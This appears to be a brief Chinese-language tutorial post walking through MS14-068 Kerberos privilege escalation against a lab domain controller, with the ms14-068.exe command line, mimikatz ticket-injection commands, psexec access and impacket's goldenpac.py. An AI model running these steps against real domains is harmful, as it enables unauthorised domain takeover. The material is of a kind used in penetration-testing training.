MS14-068提权和impacket工具包提权

ms14-068提权

工具利用

a)拿下边界机win7,并已经有win7上任意一个账号的密码

-u 用户名@域

-p 用户密码

-s 用户sid

-d 域控

ms14-068.exe -u [email protected] -p Test#123 -s S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com

生成一个ccache后缀票据

MS14-068提权和impacket工具包提权_第1张图片

导入票据

导入之前,清空票据缓存

kerberos::purge

kerberos::ptc 票据

MS14-068提权和impacket工具包提权_第2张图片

使用psexec工具连接win08(域控机器)尝试执行命令,看到的权限是test3的,但是实际上所属已经是win08上,并且是最高权限

MS14-068提权和impacket工具包提权_第3张图片

impacket工具包提权

b) 没拿到边界机,但是有账号密码的情况

使用/impacket/examples下的goldenpac.py脚本

MS14-068提权和impacket工具包提权_第4张图片

注意@domain-host 指的是域控机的位置

MS14-068提权和impacket工具包提权_第5张图片

成功进入win08的命令行模式

你可能感兴趣的:(MS14-068提权和impacket工具包提权)